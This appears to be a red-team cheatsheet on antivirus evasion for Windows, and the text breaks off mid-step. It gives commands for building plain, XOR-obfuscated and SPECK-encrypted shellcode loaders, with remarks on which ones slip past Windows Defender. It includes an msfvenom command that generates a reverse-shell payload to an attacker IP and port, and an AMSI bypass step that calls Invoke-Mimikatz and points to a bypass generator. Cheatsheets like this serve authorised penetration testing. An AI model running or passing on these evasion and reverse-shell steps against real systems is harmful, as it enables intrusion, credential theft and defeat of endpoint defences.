Evasion basics cheatsheet¶
Warning
Work in progress
Windows¶
Simple shellcode loader¶
# on redtools/windows/shellcode-loader
x86_64-w64-mingw32-g++ runner.cpp -o runner.exe -static-libgcc -static-libstdc++ -static
Very basic; detected by every up-to-date systems with standard protection enabled.
XORed shellcode loader¶
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.11 LPORT=4444 -f hex -o /tmp/shell_reverse_tcp.hex
# on redtools/windows/xor-shellcode-loader
# replace payload variable value
x86_64-w64-mingw32-g++ runner.cpp -o runner.exe -static-libgcc -static-libstdc++ -static -nostartfiles -Wl,--entry,start -Wl,--subsystem,windows
Always the same; using simple windows defender protection.
SPECK encrypted shellcode loader¶
# on redtools/windows/speck-shellcode-loader/go
# replace shellcodeEncrypted variable value with the one generated with speck_encrypt.go
GOOS=windows GOARCH=amd64 go build -o runner.exe main.go
Using this cryptography method, it bypasses basic Windows Defender protection but dond't do anything against dynamic analysis.
AMSI Bypass¶
# initial test
Invoke-Expression "AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386"
Invoke-Mimikatz
https://amsi.fail/ Generate a payload and padste it in current powershell context. Retry initial test
Now run your ps1: